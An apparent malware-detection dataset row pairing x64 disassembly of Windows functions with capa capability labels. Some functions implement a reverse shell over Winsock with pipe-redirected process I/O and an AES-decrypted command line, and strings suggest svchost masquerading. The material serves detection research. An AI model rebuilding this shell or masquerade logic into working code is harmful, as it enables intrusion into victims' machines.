joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023b70
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x3f0
lea rcx, str.UNLOAD.TXT
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x140023c00
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x140071dc8]
mov qword [0x140071b98], rax
cmp qword [0x140071b98], 0
je 0x140023c00
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14000cb30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140071ba0], rax
cmp qword [0x140071ba0], 0
je 0x140023be8
jmp 0x140023c00
mov rcx, qword [0x140071b98]
call qword [0x140071dc0]
mov qword [0x140071b98], 0
cmp dword [0x140066360], 0
jne 0x140023cf9
cmp dword [0x140067934], 1
jne 0x140023cf9
call fcn.14001f720
cmp eax, 1
jne 0x140023cf9
mov qword [rsp + 0x1d8], 0
mov dword [rsp + 0x1d0], 0
lea rdx, [rsp + 0x1d0]
lea rcx, [0x140065c70]
call fcn.140012830
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x140023cf9
xor eax, eax
mov word [rsp + 0x1e0], ax
lea rax, [rsp + 0x1e2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, str.svhost.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1d8]
lea r8, str.__s_s_
mov edx, 0x104
lea rcx, [rsp + 0x1e0]
call fcn.140029e0c
mov eax, dword [0x1400679d8]
mov dword [rsp + 0x28], eax
mov eax, dword [0x1400679d4]
mov dword [rsp + 0x20], eax
lea r9, str.Microsoft_Coporation
lea r8, str.svchost
lea rdx, str.69CF428B_78D4_49A9_B9AB_B631EBDB1D7A
lea rcx, [rsp + 0x1e0]
call fcn.14000ac70
mov rcx, qword [rsp + 0x1d8]
call qword [0x140071dc0]
cmp dword [0x140066360], 0
jne 0x140023d10
cmp dword [0x140067928], 0
jne 0x140023d10
call fcn.140012520
cmp dword [0x140066360], 0
jne 0x140023d27
cmp dword [0x14006792c], 1
jne 0x140023d27
call fcn.1400121a0
cmp dword [0x140066360], 0
jne 0x140023d3e
cmp dword [0x140067928], 1
jne 0x140023d3e
call fcn.14001daf0
mov ecx, 0x15
call fcn.140008b50
cmp dword [0x140066360], 0
jne 0x140023dc3
cmp dword [0x140066260], 1
jne 0x140023dc3
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140071bb0], rax
cmp qword [0x140071bb0], 0
je 0x140023dc3
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140010ed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140071bb8], rax
cmp qword [0x140071bb8], 0
je 0x140023db6
jmp 0x140023dc3
mov rcx, qword [0x140071bb0]
call qword [0x140071d98]
lea rdx, [rsp + 0x30]
mov cx, 2
call qword [0x1400726b0]
test eax, eax
jne 0x140023e4e
cmp dword [0x140065b2c], 1
jne 0x140023e0b
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001e980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400729a0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400276b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140072e90], rax
cmp qword [0x140072e90], 0
je 0x140023e48
mov eax, 1
jmp 0x140023e53
call qword [0x1400726b8]
mov eax, 1
add rsp, 0x3f0
pop rdi
ret
Function at 0x140024af0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x3c], 0
jmp 0x140024b29
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0x64
jge 0x140024cb0
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x20
xor edx, edx
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + rax + 0x10]
call qword [0x140071de8]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140024b68
cmp dword [rsp + 0x38], 0x102
je 0x140024cab
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x20
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp qword [rax + 8], 0
je 0x140024ba9
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 8]
call qword [0x140071d98]
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x10], 0
je 0x140024bd1
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0x10]
call qword [0x140071d98]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x140071dc8]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140024c84
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140024c79
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x18], rcx
mov rcx, qword [rsp + 0x50]
call qword [0x140071f70]
cmp eax, 0xffffffff
je 0x140024c6e
mov eax, 1
jmp 0x140024cb2
mov rcx, qword [rsp + 0x50]
call qword [0x140071d98]
mov rcx, qword [rsp + 0x48]
call qword [0x140071d98]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x18], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
jmp 0x140024b1f
xor eax, eax
add rsp, 0x68
ret
Function at 0x140030190
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140030000

Function at 0x1400327db
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14006eb70]
jne 0x14002de5a
rol rcx, 0x10
test cx, 0xffff
jne 0x14002de56
repz ret
ror rcx, 0x10
jmp 0x140032734
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400739a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140073a98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400327b9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400739a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400327db
mov rax, qword [rsp + 0x88]
mov qword [0x140073a98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140073a38], rax
mov rax, qword [0x140073a98]
mov qword [0x140073910], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140073a20], rax
mov dword [0x140073900], 0xc0000409
mov dword [0x140073904], 1
mov rax, qword [0x14006eb70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14006eb78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140073998], eax
mov ecx, 1
call fcn.1400322e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400405c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140073998], 0
jne 0x140032862
mov ecx, 1
call fcn.1400322e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140033b5c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14006eb70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14002c488
xor ebx, ebx
cmp qword [0x140073f28], rbx
mov rdi, rax
jne 0x140033c6f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140033d46
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033d46
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140073f28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140073f30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140073f38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140073f48], rax
test rax, rax
je 0x140033c66
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140073f40], rax
jmp 0x140033c76
mov rax, qword [0x140073f40]
jmp 0x140033c7d
mov rax, qword [0x140073f40]
mov r11, qword [0x140073f48]
cmp rax, rdi
je 0x140033ce4
cmp r11, rdi
je 0x140033ce4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140073f48]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140033ce4
test rax, rax
je 0x140033ce4
call rsi
test rax, rax
je 0x140033cde
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140033cde
test byte [rsp + 0x40], 1
jne 0x140033ce4
bts ebp, 0x15
jmp 0x140033d24
mov rcx, qword [0x140073f30]
cmp rcx, rdi
je 0x140033d24
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140033d24
call rax
mov rbx, rax
test rax, rax
je 0x140033d24
mov rcx, qword [0x140073f38]
cmp rcx, rdi
je 0x140033d24
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140033d24
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140073f28]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140033d46
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140033d48
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14002de40
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140019078
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400190c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400190c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400190c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400190c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400190c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400190c4
xor al, al
add rsp, 0x28
ret
Function at 0x140001689
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov dword [0x140012038], 1
mov eax, dword [0x140012038]
mov dword [0x14001205c], eax
mov eax, dword [0x14001205c]
mov dword [0x140012058], eax
mov qword [0x140012040], 0
lea rax, str.POSIXLY_CORRECT
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [0x140012050], rax
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
cmp al, 0x2d
jne 0x1400016f4
mov dword [0x140012048], 2
add qword [rbp + 0x10], 1
jmp 0x140001732
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
cmp al, 0x2b
jne 0x140001710
mov dword [0x140012048], 0
add qword [rbp + 0x10], 1
jmp 0x140001732
mov rax, qword [0x140012050]
test rax, rax
je 0x140001728
mov dword [0x140012048], 0
jmp 0x140001732
mov dword [0x140012048], 1
mov rax, qword [rbp + 0x10]
add rsp, 0x20
pop rbp
ret
Function at 0x1400024b3
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call rax
test eax, eax
je 0x1400026be
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
jne 0x140002540
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
jmp 0x1400026bf
lea rax, str.a3f4c2d4e76c9b7a29ef03a0f8cb2a1de3fa4b5c6e2d78a45ef3b6c9d2a0f3e1
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
jne 0x1400025a4
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
jmp 0x1400026bf
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
jne 0x1400025fd
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
jmp 0x1400026bf
mov ecx, dword [rbp + 0x20]
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x24]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
jne 0x140002687
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
jmp 0x1400026bf
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
jmp 0x1400026bf
nop
add rsp, 0x60
pop rbp
ret
Function at 0x1400026c5
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov ecx, 0x30
call sub.msvcrt.dll_malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400026ec
mov eax, 0
jmp 0x140002904
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
mov dword [rbp - 0x30], 0x18
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x20], 1
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x40]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x14000277c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_A
mov rcx, rax
call fcn.140003210
jmp 0x140002881
mov rax, qword [rbp - 8]
lea rdx, [rax + 8]
lea rcx, [rbp - 0x30]
lea rax, [rbp - 0x38]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x1400027ea
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_B
mov rcx, rax
call fcn.140003210
jmp 0x140002881
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call fcn.140002b34
mov rdx, qword [rbp - 8]
mov qword [rdx + 0x10], rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x14000286c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_executing_shell
mov rcx, rax
call fcn.140003210
jmp 0x140002881
mov rax, qword [rbp - 8]
mov qword [rax + 0x18], 0xffffffffffffffff
mov rax, qword [rbp - 8]
jmp 0x140002904
mov rax, qword [rbp - 0x38]
test rax, rax
je 0x14000289a
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x1400028b3
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax]
test rax, rax
je 0x1400028d2
mov rax, qword [rbp - 8]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
test rax, rax
je 0x1400028f3
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x14000290a
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
call fcn.1400026c5
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002930
mov eax, 0
jmp 0x140002b2e
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 0x18], rdx
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [0x140002cef]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov rdx, qword [rbp - 8]
mov qword [rdx + 0x20], rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x20]
test rax, rax
jne 0x1400029c8
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_creating_ReadShellThread
mov rcx, rax
call fcn.140003210
mov eax, 0
jmp 0x140002b2e
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [0x140002d89]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov rdx, qword [rbp - 8]
mov qword [rdx + 0x28], rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140002a54
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_creating_WriteShellThread
mov rcx, rax
call fcn.140003210
mov eax, 0
jmp 0x140002b2e
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov r9d, 0xffffffff
mov r8d, 0
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_shutdown]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_closesocket]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x140002b34
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rdx
lea rdx, [rbp + 0xe0]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xe0], 0x68
mov dword [rbp + 0x11c], 0x101
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x138], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xe0]
lea rdx, [rax + 0x60]
mov rax, qword [rbp + 0x198]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
mov r9, rdx
mov r8, rbx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
mov dword [rbp - 0x24], pe_nt_image_headers64
mov rax, qword [0x14000f560]
mov rax, qword [rax]
lea rcx, [rbp - 0x24]
lea rdx, [rbp + 0x60]
mov r8, rcx
mov rcx, rax
call fcn.140002280
mov ecx, dword [rbp - 0x24]
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x60]
mov r8d, ecx
mov rcx, rax
call fcn.1400024b3
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x150]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140002cca
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Error_launching_process
mov rcx, rax
call fcn.140003210
mov eax, 0
jmp 0x140002ce4
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x150]
add rsp, 0x1f0
pop rbx
pop rdi
pop rbp
ret

Function at 0x140002eb6
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x101
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WSOCK32.dll_WSAStartup]
call rax
mov dword [rbp + 0x138], eax
cmp dword [rbp + 0x138], 0
jne 0x140002f13
movzx eax, word [rbp - 0x60]
cmp al, 1
jne 0x140002f08
movzx eax, word [rbp - 0x60]
shr ax, 8
cmp al, 1
je 0x140002f14
mov rax, qword [sym.imp.WSOCK32.dll_WSACleanup]
call rax
jmp 0x140002f14
nop
add rsp, 0x1c0
pop rbp
ret